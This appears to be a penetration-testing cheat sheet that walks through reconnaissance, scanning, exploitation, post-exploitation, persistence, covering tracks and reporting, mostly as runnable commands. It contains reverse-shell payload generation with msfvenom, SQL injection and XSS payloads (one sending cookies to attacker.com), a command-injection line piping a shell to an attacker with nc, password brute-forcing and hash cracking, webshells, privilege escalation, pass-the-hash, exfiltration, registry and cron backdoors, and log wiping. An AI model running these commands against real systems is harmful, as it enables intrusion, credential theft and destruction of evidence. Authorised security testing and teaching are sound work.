- Phase 1: Pre-Engagement & Planning
- Phase 2: Footprinting (Reconnaissance)
- Phase 3: Fingerprinting (Scanning & Enumeration)
- Phase 4: Exploitation
- Phase 5: Post-Exploitation
- Phase 6: Persistence & Covering Tracks
- Phase 7: Reporting
- Additional References
| Methodology | Description |
|---|---|
| PTES | Penetration Testing Execution Standard - detailed technical framework |
| NIST 800-115 | 4 phases: Planning, Discovery, Attack, Reporting |
| OSSTMM | Open Source Security Testing Methodology Manual |
| OWASP | Web Application Security - includes ASVS standard |
Resource: http://www.pentest-standard.org
Passive and active information gathering: network ranges, services, users, employees, software versions.
- Company websites, job postings, social networks
- Financial databases (EDGAR)
- Google Hacking / Dorks
| Tool | Purpose | Usage |
|---|---|---|
| WHOIS | Domain registration info | whois domain.com |
| Maltego | Visualize data relationships | GUI tool |
| theHarvester | Gather emails, subdomains, IPs | theHarvester -d microsoft.com -l 500 -b google |
| FOCA | Extract document metadata | GUI tool |
| Shodan | Search internet-connected devices | Web/CLI |
- http://www.hackersforcharity.org/ghdb/
- Example:
site:target.com filetype:pdf
Direct interaction with targets to discover services, OS versions, and vulnerabilities.
| Tool | Usage |
|---|---|
| Nmap | nmap -sn 192.168.0.0/24 |
| Fping | fping -a -g 192.168.0.0/24 |
| ARPScan | arp-scan -l |
| dnsenum | dnsenum domain.com |
| Scan Type | Option | Description |
|---|---|---|
| TCP SYN | -sS |
Stealth scan (most popular) |
| TCP Connect | -sT |
Full connection (leaves logs) |
| UDP | -sU |
UDP scanning (slower) |
| ACK | -sA |
Firewall rule mapping |
# Discovery
nmap -sn 192.168.0.0/24 # Ping sweep
nmap -Pn 192.168.0.1 # Skip ping
# Scanning
nmap -sS 192.168.0.1 # SYN scan
nmap -p- 192.168.0.1 # All ports
nmap -sV 192.168.0.1 # Service detection
nmap -O 192.168.0.1 # OS detection
nmap -A 192.168.0.1 # Aggressive scan| Tool | Type | Usage |
|---|---|---|
| Nessus | Commercial | Web GUI at https://localhost:8834 |
| OpenVAS | Open Source | gvm-start |
| Lynis | Linux auditing | lynis audit system -Q |
telnet 192.168.0.1 80 # Manual
nc 192.168.0.1 80 # Netcat
nmap -sV 192.168.0.1 # Automated| OS | TTL | TCP Window |
|---|---|---|
| Linux | 64 | 5840 |
| Windows 7/10 | 128 | 8192 |
| Cisco IOS | 255 | 4128 |
nbtscan -r 192.168.0.0/24
enum4linux -v -a 192.168.0.101smtp-user-enum -M VRFY -U users.txt -t 192.168.0.1
snmp-check 192.168.0.101msfdb init
msfconsoleTypes:
- Shell: Basic command shell
- Meterpreter: Advanced post-exploitation
- Bind: Listen on target
- Reverse: Connect back (firewall bypass)
- Staged: Two-stage delivery (
/) - Single: All-in-one (
_)
search <vulnerability>
use exploit/<path>
show options
set RHOST <target>
set LHOST <attacker>
set PAYLOAD <payload>
exploit
# Sessions
sessions -l
sessions -i 1sysinfo / getuid / ps / migrate <PID>
download/upload <file>
getsystem / hashdump
run persistence -X -i 60 -p 4444 -r <IP>msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o payload.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf -o payload- Fuzzing → 2. Analysis → 3. Offset Finding → 4. Bad Characters → 5. Return Address → 6. Shellcode → 7. Testing
# Pattern creation/offset
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP>use exploit/windows/browser/ms10_002_aurora
use auxiliary/server/browser_autopwnbeef-xss
# Default: http://127.0.0.1:3000/ui/panel (beef:beef)# PDF
use exploit/windows/fileformat/adobe_pdf_embedded_exe
# Office Macro
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f vbaHydra:
hydra -l <user> -P wordlist.txt ssh://<IP>
hydra -L users.txt -P passwords.txt <IP> http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"Hash Acquisition:
# Windows (Metasploit)
meterpreter > hashdump
# Linux
cat /etc/shadowCracking:
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --format=nt hashes.txt
# Hashcat
hashcat -m 1000 -a 0 hashes.txt wordlist.txt
hashcat -m 1000 -a 3 hashes.txt ?a?a?a?a?a?a # Brute forcecewl <URL> -w wordlist.txt # Spider website
crunch 8 8 0123456789 -o numbers.txt # Generate combinations# Detection
?id=1' OR '1'='1
# UNION-based
' UNION SELECT NULL,username,password FROM users--
# Time-based blind
' AND IF(1=1, SLEEP(5), 0)--Tool:
sqlmap -u "http://target/page.php?id=1"Payloads:
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<script>fetch('http://attacker.com/steal?c='+document.cookie);</script>Tool:
xsser -u "http://target/page?q=XSS"<img src="http://bank.com/transfer?amount=6000&to=attacker" hidden>Defense: CSRF tokens
# Vulnerable: system("ping -c 4 " . $_GET['ip']);
?ip=127.0.0.1; cat /etc/passwd
?ip=127.0.0.1 | nc attacker 4444 -e /bin/bashBypass techniques:
shell.php.jpg
shell.php5, shell.phtml
Content-Type: image/jpeg
nikto -h http://target
wpscan --url http://target --enumerate u
gobuster dir -u http://target -w wordlist.txt<?php system($_GET['cmd']); ?>weevely generate password shell.php
weevely http://target/shell.php passwordEnumeration:
# Automated
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
./linpeas.sh
# Manual
sudo -l
find / -perm -u=s -type f 2>/dev/null # SUID
getcap -r / 2>/dev/null # Capabilities
cat /etc/crontab # Cron jobsExploitation:
# SUID binary (GTFOBins: https://gtfobins.github.io/)
find /etc/passwd -exec /bin/bash -p \;
# Sudo misconfiguration
sudo find /etc/passwd -exec /bin/bash \;Enumeration:
# Automated
.\winPEAS.exe
# Manual
whoami /priv
systeminfo
wmic qfe # Patches
sc query # ServicesExploitation:
# Token impersonation (Meterpreter)
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
# getsystem
meterpreter> getsystem# File search
meterpreter> search -f *password*
meterpreter> search -f id_rsa
# Keylogging
meterpreter> keyscan_start
meterpreter> keyscan_dump
# Credentials
meterpreter> run post/windows/gather/credentials/winscp
meterpreter> run post/windows/gather/enum_chrome
# Screenshots
meterpreter> screenshot
meterpreter> webcam_snapPSExec:
# Metasploit
use exploit/windows/smb/psexec
set SMBUser <user>
set SMBPass <password>
# Impacket
psexec.py domain/user:password@target# Metasploit
set SMBPass <LM_hash>:<NTLM_hash>
# Impacket
psexec.py -hashes <LM>:<NTLM> domain/user@targetMetasploit Route:
meterpreter> run autoroute -s 192.168.0.0/24
msf> route add 192.168.0.0 255.255.255.0 <session_id>SOCKS Proxy:
# Meterpreter
use auxiliary/server/socks4a
run
# ProxyChains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT 192.168.0.0/24# TCP
nc -lvnp 4444 > received.zip # Attacker
nc attacker_ip 4444 < data.zip # Victim
# HTTP
curl -X POST -F "file=@data.zip" http://attacker/upload
# DNS (Iodine)
iodined -f -c -P password 10.0.0.1 tunnel.domain.com # Attacker
iodine -f -P password tunnel.domain.com # VictimWindows Registry:
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\backdoor.exe"Linux:
crontab -e
# Add: @reboot /path/to/backdoor.sh# Windows
net user hacker Pass123! /add
net localgroup Administrators hacker /add
# Linux
sudo useradd -m -s /bin/bash hacker
sudo usermod -aG sudo hacker# Meterpreter persistence
meterpreter> run persistence -U -i 5 -p 4444 -r attacker_ipTOR:
sudo apt install tor
torify curl http://check.torproject.orgProxyChains:
sudo nano /etc/proxychains.conf
# Add: socks4 127.0.0.1 9050
proxychains nmap -sT target.com# Windows
meterpreter> clearev
wevtutil cl Security
# Linux
sudo rm -rf /var/log/*
history -cDetection tools:
rkhunter --check # Linux
chkrootkit # LinuxWindows ADS:
type secret.zip > readme.txt:secret.zip
start C:\readme.txt:secret.zipLinux:
mv backdoor .hidden_backdoorA comprehensive penetration test report should include:
- Executive Summary - High-level findings for management
- Methodology - Standards and frameworks used
- Scope - Systems and networks tested
- Findings - Detailed vulnerabilities with severity ratings (CVSS)
- Evidence - Screenshots, command outputs, exploitation proof
- Risk Assessment - Impact and likelihood analysis
- Remediation - Specific mitigation recommendations
- Conclusion - Overall security posture assessment
- Metasploit: https://www.metasploit.com
- Impacket: https://github.com/SecureAuthCorp/impacket
- CrackMapExec: https://github.com/byt3bl33d3r/CrackMapExec
- BloodHound: https://github.com/BloodHoundAD/BloodHound
- Mimikatz: https://github.com/gentilkiwi/mimikatz
- Empire: https://github.com/BC-SECURITY/Empire
- SecLists: https://github.com/danielmiessler/SecLists
- RockYou:
/usr/share/wordlists/rockyou.txt - CrackStation: https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
- GTFOBins: https://gtfobins.github.io/
- GHDB: http://www.hackersforcharity.org/ghdb/
- OWASP: https://owasp.org
- PTES: http://www.pentest-standard.org